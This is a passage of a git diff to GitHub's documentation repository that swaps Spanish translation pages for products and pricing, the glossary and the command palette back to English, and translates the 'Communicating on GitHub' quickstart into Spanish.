a/translations/es-ES/content/get-started/learning-about-github/githubs-products.md b/translations/es-ES/content/get-started/learning-about-github/githubs-products.md index 1e1e47d33f..6951b466f4 100644 --- a/translations/es-ES/content/get-started/learning-about-github/githubs-products.md +++ b/translations/es-ES/content/get-started/learning-about-github/githubs-products.md @@ -1,6 +1,6 @@ --- -title: Productos de GitHub -intro: 'Información general de los productos y planes de precio de {% data variables.product.prodname_dotcom %}.' +title: GitHub’s products +intro: 'An overview of {% data variables.product.prodname_dotcom %}''s products and pricing plans.' redirect_from: - /articles/github-s-products - /articles/githubs-products @@ -17,111 +17,110 @@ topics: - Mobile - Desktop - Security -ms.openlocfilehash: e8e78b3c2cf86369b53b063cdbcded6f7a048834 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147389958' --- -## Acerca de los productos de {% data variables.product.prodname_dotcom %} +## About {% data variables.product.prodname_dotcom %}'s products -{% data variables.product.prodname_dotcom %} ofrece productos gratuitos y de pago para clasificar y colaborar con código. Algunos productos se aplican solo para cuentas personales, mientras que otros planes se aplican solo a cuentas empresariales o de organización. Para más información sobre las cuentas, vea "[Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)". +{% data variables.product.prodname_dotcom %} offers free and paid products for storing and collaborating on code. Some products apply only to personal accounts, while other plans apply only to organization and enterprise accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)." -Puedes ver los precios y una lista completa de las funciones de cada producto en <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %} +You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %} -Cuando leas los {% data variables.product.prodname_docs %}, asegúrate de seleccionar la versión que refleja tu producto. Para más información, vea "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)". +When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your product. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." -## {% data variables.product.prodname_free_user %} para cuentas personales +## {% data variables.product.prodname_free_user %} for personal accounts -Con {% data variables.product.prodname_free_team %} para cuentas personales, puedes trabajar con colaboradores ilimitados en repositorios públicos ilimitados con un conjunto completo de características, y en repositorios privados ilimitados con un conjunto limitado de características. +With {% data variables.product.prodname_free_team %} for personal accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set. -Con {% data variables.product.prodname_free_user %}, tu cuenta personal incluye lo siguiente: +With {% data variables.product.prodname_free_user %}, your personal account includes: - {% data variables.product.prodname_gcf %} - {% data variables.product.prodname_dependabot_alerts %} -- Aplicación de la autenticación en dos fases -- 2,000 minutos de {% data variables.product.prodname_actions %} -- 500MB de almacenamiento de {% data variables.product.prodname_registry %} +- Two-factor authentication enforcement +- 2,000 {% data variables.product.prodname_actions %} minutes per month +- 500 MB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec%} +- 120 {% data variables.product.prodname_github_codespaces %} core hours per month +- 15 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %} ## {% data variables.product.prodname_pro %} -Además de las características disponibles con {% data variables.product.prodname_free_user %} para cuentas personales, {% data variables.product.prodname_pro %} incluye lo siguiente: -- {% data variables.contact.github_support %} por correo electrónico -- 3,000 minutos de {% data variables.product.prodname_actions %} -- 2GB de almacenamiento de {% data variables.product.prodname_registry %} -- Herramientas y perspectivas avanzadas en repositorios privados: - - Necesidad de revisores de solicitudes de incorporación de cambios - - Varios revisores de solicitudes de incorporación de cambios - - Ramas protegidas - - Propietarios del código - - Referencias vinculadas automáticamente +In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_pro %} includes: +- {% data variables.contact.github_support %} via email +- 3,000 {% data variables.product.prodname_actions %} minutes per month +- 2 GB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec%} +- 180 {% data variables.product.prodname_github_codespaces %} core hours per month +- 20 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %} +- Advanced tools and insights in private repositories: + - Required pull request reviewers + - Multiple pull request reviewers + - Protected branches + - Code owners + - Auto-linked references - {% data variables.product.prodname_pages %} - Wikis - - Gráficas de perspectivas del repositorio: Pulso, colaboradores, tráfico, confirmaciones, frecuencia del código, red, y bifurcaciones + - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks -## {% data variables.product.prodname_free_team %} para organizaciones +## {% data variables.product.prodname_free_team %} for organizations -Con {% data variables.product.prodname_free_team %} para organizaciones, puedes trabajar con colaboradores ilimitados en repositorios públicos ilimitados con un juego completo de características, o en repositorios privados ilimitados con un conjunto limitado de características. +With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. -Además de las características disponibles con {% data variables.product.prodname_free_user %} para cuentas personales, {% data variables.product.prodname_free_team %} para organizaciones incluye lo siguiente: +In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_free_team %} for organizations includes: - {% data variables.product.prodname_gcf %} -- Discusiones de equipo -- Controles de acceso al equipo para administrar los grupos -- 2,000 minutos de {% data variables.product.prodname_actions %} -- 500MB de almacenamiento de {% data variables.product.prodname_registry %} +- Team discussions +- Team access controls for managing groups +- 2,000 {% data variables.product.prodname_actions %} minutes per month +- 500 MB {% data variables.product.prodname_registry %} storage ## {% data variables.product.prodname_team %} -Adicionalmente a las características disponibles con {% data variables.product.prodname_free_team %} para organizaciones, {% data variables.product.prodname_team %} incluye: -- {% data variables.contact.github_support %} por correo electrónico -- 3,000 minutos de {% data variables.product.prodname_actions %} -- 2GB de almacenamiento de {% data variables.product.prodname_registry %} -- Herramientas y perspectivas avanzadas en repositorios privados: - - Necesidad de revisores de solicitudes de incorporación de cambios - - Varios revisores de solicitudes de incorporación de cambios - - Borrador de solicitudes de incorporación de cambios - - Revisores de solicitudes de incorporación de cambios en equipo - - Ramas protegidas - - Propietarios del código - - Avisos programados +In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes: +- {% data variables.contact.github_support %} via email +- 3,000 {% data variables.product.prodname_actions %} minutes per month +- 2 GB {% data variables.product.prodname_registry %} storage +- Advanced tools and insights in private repositories: + - Required pull request reviewers + - Multiple pull request reviewers + - Draft pull requests + - Team pull request reviewers + - Protected branches + - Code owners + - Scheduled reminders - {% data variables.product.prodname_pages %} - Wikis - - Gráficos de información del repositorio: pulso, colaboradores, tráfico, confirmaciones, frecuencia del código, red y bifurcaciones {%- ifversion fpt or ghec %} -- La opción para habilitar {% data variables.product.prodname_github_codespaces %} - - Los propietarios de organizaciones pueden habilitar los {% data variables.product.prodname_github_codespaces %} para la organización si configuran un límite de gastos y otorgan permisos de usuario para los miembros de su organziación. Para más información, consulta ["Habilitación de {% data variables.product.prodname_github_codespaces %} para la organización](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)". + - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks +{%- ifversion fpt or ghec %} +- The option to enable {% data variables.product.prodname_github_codespaces %} + - Organization owners can enable {% data variables.product.prodname_github_codespaces %} for the organization by setting a spending limit and granting user permissions for members of their organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." {%- endif %} -{% data variables.product.company_short %} factura por {% data variables.product.prodname_team %} en una modalidad "por usuario". Para obtener más información, vea "[Acerca de los precios por usuario]({% ifversion not fpt %}/free-pro-team@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing){% ifversion fpt %}".{% else %}" en la documentación de las versiones Gratuita, Pro, y de Equipo.{% endif %} +{% data variables.product.company_short %} bills for {% data variables.product.prodname_team %} on a per-user basis. For more information, see "[About per-user pricing]({% ifversion not fpt %}/free-pro-team@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing){% ifversion fpt %}."{% else %}" in the Free, Pro, & Team documentation.{% endif %} {% data reusables.actions.actions-billing %} ## {% data variables.product.prodname_enterprise %} -{% data variables.product.prodname_enterprise %} incluye dos opciones de despliegue: hospedado en la nuba y auto-hospedado. +{% data variables.product.prodname_enterprise %} includes two deployment options: cloud-hosted and self-hosted. -Adicionalmente a las características disponibles con {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} incluye: +In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes: - {% data variables.contact.enterprise_support %} -- Controles de seguridad, cumplimiento e implementación adicionales -- Autenticación con inicio de sesión único de SAML -- Acceso al aprovisionamiento con SAML o SCIM +- Additional security, compliance, and deployment controls +- Authentication with SAML single sign-on +- Access provisioning with SAML or SCIM - {% data variables.product.prodname_github_connect %} -- La opción para comprar {% data variables.product.prodname_GH_advanced_security %}. Para más información, consulte "[Acerca de {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)". +- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)." -{% data variables.product.prodname_ghe_cloud %} también incluye lo siguiente: -- {% data variables.contact.enterprise_support %}. Para obtener más información, vea "Soporte técnico de {% data variables.product.prodname_ghe_cloud %}" y "Anexo de {% data variables.product.prodname_ghe_cloud %}". -- 50,000 minutos de {% data variables.product.prodname_actions %} -- 50GB de almacenamiento de {% data variables.product.prodname_registry %} -- Control de acceso para los sitios de {% data variables.product.prodname_pages %}. Para más información, vea "[Cambio de la visibilidad del sitio de {% data variables.product.prodname_pages %}](/enterprise-cloud@latest/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)". -- Un contrato de nivel de servicio para un tiempo de actividad mensual del 99,9 % -- La opción de configurar tu empresa para los {% data variables.product.prodname_emus %}, para que puedas aprovisionar y administrar a los miembros con tu proveedor de identidad y restringir sus contribuciones para que solo se hagan en tu empresa. Para más información, vea "[Acerca de {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)". -- La opción de administrar de forma centralizada las políticas y la facturación de múltiples organizaciones {% data variables.product.prodname_dotcom_the_website %} con una cuenta de empresa. Para más información, vea "[Acerca de las cuentas de empresa](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)". +{% data variables.product.prodname_ghe_cloud %} also includes: +- {% data variables.contact.enterprise_support %}. For more information, see "{% data variables.product.prodname_ghe_cloud %} support" and "{% data variables.product.prodname_ghe_cloud %} Addendum." +- 50,000 {% data variables.product.prodname_actions %} minutes per month +- 50 GB {% data variables.product.prodname_registry %} storage +- Access control for {% data variables.product.prodname_pages %} sites. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/enterprise-cloud@latest/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +- A service level agreement for 99.9% monthly uptime +- The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." +- The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations with an enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)." {% data reusables.enterprise.about-github-for-enterprises %} -Puedes configurar una prueba para evaluar {% data variables.product.prodname_ghe_cloud %}. Para más información, vea "[Configuración de una evaluación gratuita de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/articles/setting-up-a-trial-of-github-enterprise-cloud)". +You can set up a trial to evaluate {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/articles/setting-up-a-trial-of-github-enterprise-cloud)." -Para más información sobre cómo hospedar tu propia instancia de {% data variables.product.prodname_ghe_server %}, incluida la configuración de una prueba, consulta "[Acerca de {% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/overview/about-github-enterprise-server)". +For more information about hosting your own instance of {% data variables.product.prodname_ghe_server %}, including setting up a trial, see "[About {% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/overview/about-github-enterprise-server)." -## Información adicional +## Further reading -- "[Acerca de los precios por usuario]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing)"{% ifversion not ghec %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}{% endif %} +- "[About per-user pricing]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing)"{% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} diff --git a/translations/es-ES/content/get-started/quickstart/communicating-on-github.md b/translations/es-ES/content/get-started/quickstart/communicating-on-github.md index 4681320f39..41575d22e9 100644 --- a/translations/es-ES/content/get-started/quickstart/communicating-on-github.md +++ b/translations/es-ES/content/get-started/quickstart/communicating-on-github.md @@ -1,6 +1,6 @@ --- -title: Communicating on GitHub -intro: 'You can discuss specific projects and changes, as well as broader ideas or team goals, using different types of discussions on {% data variables.product.product_name %}.' +title: Comunicarse en GitHub +intro: 'Puedes debatir cambios y proyectos específicos, así como metas de equipo o ideas más amplias, usando tipos diferentes de debates en {% data variables.product.product_name %}.' miniTocMaxHeadingLevel: 3 redirect_from: - /github/collaborating-with-issues-and-pull-requests/getting-started/quickstart-for-communicating-on-github @@ -18,137 +18,139 @@ topics: - Issues - Discussions - Fundamentals +ms.openlocfilehash: 18321069abd4fb48956f4d61653b8bbe592c648b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106793' --- -## Introduction +## Introducción -{% data variables.product.product_name %} provides built-in collaborative communication tools allowing you to interact closely with your community. This quickstart guide will show you how to pick the right tool for your needs. +{% data variables.product.product_name %} proporciona herramientas de comunicación colaborativas que te permiten interactuar de cerca con tu comunidad. Esta guía de inicio rápido te mostrará cómo escoger la herramienta correcta para tus necesidades. -{% ifversion discussions %} -You can create and participate in issues, pull requests, {% data variables.product.prodname_discussions %}, and team discussions, depending on the type of conversation you'd like to have. -{% else %} -You can create and participate in issues, pull requests and team discussions, depending on the type of conversation you'd like to have. +{% ifversion discussions %} Puedes crear y participar en propuestas, solicitudes de cambios, {% data variables.product.prodname_discussions %} y debates de equipo, dependiendo del tipo de conversación que te gustaría tener. +{% else %} Puedes crear y participar en propuestas, solicitudes de extracción y debates de equipos, dependiendo del tipo de conversación que quieras tener. {% endif %} ### {% data variables.product.prodname_github_issues %} -- are useful for discussing specific details of a project such as bug reports, planned improvements and feedback. -- are specific to a repository, and usually have a clear owner. -- are often referred to as {% data variables.product.prodname_dotcom %}'s bug-tracking system. +- son útiles para debatir los detalles específicos de un proyecto, tales como los reportes de errores, mejoras planeadas y retroalimentación. +- son específicas de un repositorio y, habitualmente, es claro quién es el propietario. +- a menudo se refiere a ellas como el sistema de rastreo de errores de {% data variables.product.prodname_dotcom %}. -### Pull requests -- allow you to propose specific changes. -- allow you to comment directly on proposed changes suggested by others. -- are specific to a repository. +### Solicitudes de incorporación de cambios +- te permiten proponer cambios específicos. +- te permiten comentar directamente en los cambios propuestos que otros sugieren. +- son específicos para un repositorio. {% ifversion fpt or ghec %} ### {% data variables.product.prodname_discussions %} -- are like a forum, and are best used for open-form ideas and discussions where collaboration is important. -- may span many repositories. -- provide a collaborative experience outside the codebase, allowing the brainstorming of ideas, and the creation of a community knowledge base. -- often don’t have a clear owner. -- often do not result in an actionable task. +- son como un foro y son muy útiles para ideas y debates abiertos en donde es importante la colaboración. +- pueden abarcar muchos repositorios. +- proporcionan una experiencia colaborativa fuera de la base de código, lo cual permite la lluvia de ideas y la creación de una base de conocimiento comunitario. +- a menudo no se sabe quién es el propietario. +- a menudo no dan como resultado una tarea sobre la cual se pueda actuar. {% endif %} -### Team discussions -- can be started on your team's page for conversations that span across projects and don't belong in a specific issue or pull request. Instead of opening an issue in a repository to discuss an idea, you can include the entire team by having a conversation in a team discussion. -- allow you to hold discussions with your team about planning, analysis, design, user research and general project decision making in one place.{% ifversion ghes or ghae %} -- provide a collaborative experience outside the codebase, allowing the brainstorming of ideas. -- often don’t have a clear owner. -- often do not result in an actionable task.{% endif %} +### Discusiones de equipo +- pueden iniciarse en la página de tu equipo para tener conversaciones que abarquen varios proyectos y no pertenecen solo a una propuesta o solicitud de cambios específicas. En vez de abrir un informe de problemas en un repositorio para debatir sobre una idea, puedes incluir a todo el equipo si tienes una conversación en un debate de equipo. +- te permiten mantener debates con tu equipo sobre planeación, análisis, diseño, investigación de usuarios y toma de decisiones generales de un proyecto, todo en un solo lugar.{% ifversion ghes or ghae %} +- proporcionan una experiencia colaborativa fuera de la base de código, lo cual permite la lluvia de ideas. +- a menudo no se sabe quién es el propietario. +- a menudo no dan como resultad una tarea sobre la cual se pueda actuar.{% endif %} -## Which discussion tool should I use? +## ¿Qué debate debo utilizar? -### Scenarios for issues +### Casos de las propuestas -- I want to keep track of tasks, enhancements and bugs. -- I want to file a bug report. -- I want to share feedback about a specific feature. -- I want to ask a question about files in the repository. +- Quiero dar seguimiento a las tareas, ampliaciones y errores. +- Quiero emitir un reporte de errores. +- Quiero compartir retroalimentación sobre una característica específica. +- Quiero hacer una pregunta sobre los archivos del repositorio. -#### Issue example +#### Ejemplo de propuesta -This example illustrates how a {% data variables.product.prodname_dotcom %} user created an issue in our documentation open source repository to make us aware of a bug, and discuss a fix. +Este ejemplo demuestra cómo un usuario de {% data variables.product.prodname_dotcom %} creó una propuesta en nuestro repositorio de documentación de código abierto para concientizarnos de un error y debatir sobre cómo arreglarlo. -![Example of issue](/assets/images/help/issues/issue-example.png) +![Ejemplo de propuesta](/assets/images/help/issues/issue-example.png) -- A user noticed that the blue color of the banner at the top of the page in the Chinese version of the {% data variables.product.prodname_dotcom %} Docs makes the text in the banner unreadable. -- The user created an issue in the repository, stating the problem and suggesting a fix (which is, use a different background color for the banner). -- A discussion ensues, and eventually, a consensus will be reached about the fix to apply. -- A contributor can then create a pull request with the fix. +- Un usuario notó que el color azul del letrero en la parte superior de la página de la versión china de los documentos de {% data variables.product.prodname_dotcom %} hace que el texto contenido sea ilegible. +- El usurio creó una propuesta en el repositorio, la cual declaraba el problema y sugería un arreglo (el cual es utilizar un color de fondo diferente para el letrero). +- Se produce un debate y, periódicamente, se llega a un consenso sobre qué solución aplicar. +- Entonces, un colaborador puede crear una solicitud de cambios con la solución. -### Scenarios for pull requests +### Escenarios para solicitudes de cambios -- I want to fix a typo in a repository. -- I want to make changes to a repository. -- I want to make changes to fix an issue. -- I want to comment on changes suggested by others. +- Quiero arreglar un error tipográcifo en un repositorio. +- Quiero hacer cambios en un repositorio. +- Quiero hacer cambios para corregir un error. +- Quiero comentar en los cambios que otros sugieren. -#### Pull request example +#### Ejemplo de solicitud de incorporación de cambios -This example illustrates how a {% data variables.product.prodname_dotcom %} user created a pull request in our documentation open source repository to fix a typo. +Este ejemplo ilustra cómo un usuario de {% data variables.product.prodname_dotcom %} creó una solicitud de cambios en el repositorio de código abierto de nuestra documentación para arreglar un error tipográfico. -In the **Conversation** tab of the pull request, the author explains why they created the pull request. +En la pestaña **Conversación** de la solicitud de incorporación de cambios, el autor explica por qué ha creado la solicitud de incorporación de cambios. -![Example of pull request - Conversation tab](/assets/images/help/pull_requests/pr-conversation-example.png) +![Ejemplo de solicitud de cambios - Pestaña de conversación](/assets/images/help/pull_requests/pr-conversation-example.png) -The **Files changed** tab of the pull request shows the implemented fix. +La pestaña **Archivos cambiados** de la solicitud de incorporación de cambios muestra la corrección implementada. -![Example of pull request - Files changed tab](/assets/images/help/pull_requests/pr-files-changed-example.png) +![Ejemplo de solicitud de cambios - Pestaña de archivos que cambiaron](/assets/images/help/pull_requests/pr-files-changed-example.png) -- This contributor notices a typo in the repository. -- The user creates a pull request with the fix. -- A repository maintainer reviews the pull request, comments on it, and merges it. +- Este contribuyente nota un error tipográfico en el repositorio. +- El usuario crea una solicitud de cambios con la solución. +- Un mantenedor de repositorio revisa la solicitud de cambios, la comenta y la fusiona. {% ifversion discussions %} -### Scenarios for {% data variables.product.prodname_discussions %} +### Casos para los {% data variables.product.prodname_discussions %} -- I have a question that's not necessarily related to specific files in the repository. -- I want to share news with my collaborators, or my team. -- I want to start or participate in an open-ended conversation. -- I want to make an announcement to my community. +- Tengo una pregunta que no se relaciona necesariamente con los archivos específicos del repositorio. +- Quiero compartir las noticias con mis colaboradores o con mi equipo. +- Quiero comenzar o participar en una conversación abierta. +- Quiero hacer un anuncio a mi comunidad. -#### {% data variables.product.prodname_discussions %} example +#### Ejemplo de {% data variables.product.prodname_discussions %} -This example shows the {% data variables.product.prodname_discussions %} welcome post for the {% data variables.product.prodname_dotcom %} Docs open source repository, and illustrates how the team wants to collaborate with their community. +Este ejemplo muestra la publicación de bienvenida de {% data variables.product.prodname_discussions %} para el repositorio de código abierto de los documentos de {% data variables.product.prodname_dotcom %} e ilustra cómo el equipo quiere colaborar con su comunidad. -![Example of {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png) +![Ejemplo de un {% data variables.product.prodname_discussions %}](/assets/images/help/discussions/github-discussions-example.png) -This community maintainer started a discussion to welcome the community, and to ask members to introduce themselves. This post fosters an inviting atmosphere for visitors and contributors. The post also clarifies that the team's happy to help with contributions to the repository. +El mantenedor de la comunidad inició un debate para recibir a la comunidad y para pedir a los miembros que se presentaran a sí mismos. Esta publicación fomenta un ambiente acogedor para los visitantes y contribuyentes. Esta publicación también aclara que al equipo le complace ayudar a los contribuyentes del repositorio. {% endif %} -### Scenarios for team discussions +### Casos de debates de equipo -- I have a question that's not necessarily related to specific files in the repository. -- I want to share news with my collaborators, or my team. -- I want to start or participate in an open-ended conversation. -- I want to make an announcement to my team. +- Tengo una pregunta que no se relaciona necesariamente con los archivos específicos del repositorio. +- Quiero compartir las noticias con mis colaboradores o con mi equipo. +- Quiero comenzar o participar en una conversación abierta. +- Quiero anunciar algo a mi equipo. -{% ifversion fpt or ghec %} -As you can see, team discussions are very similar to {% data variables.product.prodname_discussions %}. For {% data variables.product.prodname_dotcom_the_website %}, we recommend using {% data variables.product.prodname_discussions %} as the starting point for conversations. You can use {% data variables.product.prodname_discussions %} to collaborate with any community on {% data variables.product.prodname_dotcom %}. If you are part of an organization, and would like to initiate conversations within your organization or team within that organization, you should use team discussions. +{% ifversion fpt or ghec %} Como puedes ver, los debates de equipo son muy similares a los {% data variables.product.prodname_discussions %}. Para {% data variables.product.prodname_dotcom_the_website %}, te recomendamos utilizar los {% data variables.product.prodname_discussions %} como inicio de conversaciones. Puedes utilizar los {% data variables.product.prodname_discussions %} para colaborar con cualquier comunidad en {% data variables.product.prodname_dotcom %}. Si eres parte de una organización y te gustaría iniciar conversaciones dentro de tu organización o del equipo que está dentro de ella, debes utilizar los debates de equipo. {% endif %} -#### Team discussion example +#### Ejemplo de debates de equipo -This example shows a team post for the `octo-team` team. +En este ejemplo se muestra una publicación de equipo para el equipo `octo-team`. -![Example of team discussion](/assets/images/help/projects/team-discussions-example.png) +![Ejemplo de debate de equipo](/assets/images/help/projects/team-discussions-example.png) -The `octocat` team member posted a team discussion, informing the team of various things: -- A team member called Mona started remote game events. -- There is a blog post describing how the teams use {% data variables.product.prodname_actions %} to produce their docs. -- Material about the April All Hands is now available for all team members to view. +El miembro del equipo `octocat` publicó un debate de equipo e informó al equipo de varias cosas: +- Un miembro del equipo llamado Mona inició eventos de juego remotos. +- Hay una publicación del blog que describe cómo los equipos utilizan {% data variables.product.prodname_actions %} para producir sus documentos. +- Los materiales sobre el "All Hands" de abril está ahora disponible para que lo vean todos los miembros del equipo. -## Next steps +## Pasos siguientes -These examples showed you how to decide which is the best tool for your conversations on {% data variables.product.product_name %}. But this is only the beginning; there is so much more you can do to tailor these tools to your needs. +Estos ejemplos te muestran cómo decidir cuál es la mejor herramienta para tus conversaciones en {% data variables.product.product_name %}. Pero esto es solo el inicio; puedes hacer mucho más para confeccionar estas herramientas de acuerdo con tus necesidades. -For issues, for example, you can tag issues with labels for quicker searching and create issue templates to help contributors open meaningful issues. For more information, see "[About issues](/github/managing-your-work-on-github/about-issues#working-with-issues)" and "[About issue and pull request templates](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)." +Para las propuestas, por ejemplo, puedes etiquetarlas con etiquetas para buscarlas más rápidamente y crear plantillas de propuesta para ayudar a los contribuyentes a abrir propuestas significativas. Para obtener más información, consulta "[Acerca de las propuestas](/github/managing-your-work-on-github/about-issues#working-with-issues)" y "[Acerca de las plantillas de propuestas y solicitudes de incorporación de cambios](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates)". -For pull requests, you can create draft pull requests if your proposed changes are still a work in progress. Draft pull requests cannot be merged until they're marked as ready for review. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." +Para las solicitudes de cambio, puedes crear borradores de estas si los cambios que propones aún están en curso. Los borradores de solicitudes de cambios no pueden fusionarse hasta que se marquen como listos para revisión. Para más información, vea "[Acerca de las solicitudes de incorporación de cambios](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)". -{% ifversion discussions %} -For {% data variables.product.prodname_discussions %}, you can{% ifversion fpt or ghec %} set up a code of conduct and{% endif %} pin discussions that contain important information for your community. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." +{% ifversion discussions %} Para el caso de los {% data variables.product.prodname_discussions %}, puedes{% ifversion fpt or ghec %} configurar un código de conducta y{% endif %} fijar los debates que contengan información importante de tu comunidad. Para más información, vea "[Acerca de los debates](/discussions/collaborating-with-your-community-using-discussions/about-discussions)". {% endif %} -For team discussions, you can edit or delete discussions on a team's page, and you can configure notifications for team discussions. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." +Para el caso de los debates de equipo, puedes editarlos o borrarlos en la página del equipo y puedes configurar las notificaciones para estos. Para obtener más información, consulta "[Acerca de los debates de equipo](/organizations/collaborating-with-your-team/about-team-discussions)". -To learn some advanced formatting features that will help you communicate, see "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)." +Para obtener información sobre algunas características de formato avanzadas que te ayudarán a comunicarte, consulta "[Inicio rápido para escribir en {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)". diff --git a/translations/es-ES/content/get-started/quickstart/github-glossary.md b/translations/es-ES/content/get-started/quickstart/github-glossary.md index 1bfe91c88e..2b36e09b0e 100644 --- a/translations/es-ES/content/get-started/quickstart/github-glossary.md +++ b/translations/es-ES/content/get-started/quickstart/github-glossary.md @@ -1,6 +1,6 @@ --- -title: Glosario de GitHub -intro: 'Este glosario te presenta la terminología común de Git y de {% data variables.product.prodname_dotcom %}.' +title: GitHub glossary +intro: 'This glossary introduces common Git and {% data variables.product.prodname_dotcom %} terminology.' redirect_from: - /articles/github-glossary - /github/getting-started-with-github/github-glossary @@ -10,12 +10,6 @@ versions: ghes: '*' ghae: '*' ghec: '*' -ms.openlocfilehash: e7c6be7286d1221970c9e4e50b477fb82b4d3652 -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '145126257' --- {% for glossary in glossaries %} ### {{ glossary.term }} @@ -25,8 +19,8 @@ ms.locfileid: '145126257' --- -## Información adicional +## Further reading -- [Glosario oficial de Git](https://www.kernel.org/pub/software/scm/git/docs/gitglossary.html) -- [Documentación de Git](https://git-scm.com/doc) -- [Lista de comandos de Git](https://git-scm.com/docs) +- [The Official Git Glossary](https://www.kernel.org/pub/software/scm/git/docs/gitglossary.html) +- [Git documentation](https://git-scm.com/doc) +- [Git command list](https://git-scm.com/docs) diff --git a/translations/es-ES/content/get-started/using-github/github-command-palette.md b/translations/es-ES/content/get-started/using-github/github-command-palette.md index d5a12c7c75..c169b3d97e 100644 --- a/translations/es-ES/content/get-started/using-github/github-command-palette.md +++ b/translations/es-ES/content/get-started/using-github/github-command-palette.md @@ -174,7 +174,7 @@ Most of these commands are available only on the home page of the repository. If |`New discussion`|Create a new discussion in the repository. For more information, see "[Creating a new discussion](/discussions/quickstart#creating-a-new-discussion)."| |`New file`|Create a new file from any page in the repository. For more information, see "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository)." |`New issue`|Open a new issue from any page in the repository. For more information, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue)."| -|`Open in new codespace`|Create and open a codespace for this repository. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."| +|`Open in new codespace`|Create and open a codespace for this repository. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."| |`Open in github.dev editor`|Open the current repository in the github.dev editor. For more information, see "[Opening the web based editor](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor)."| ### File commands @@ 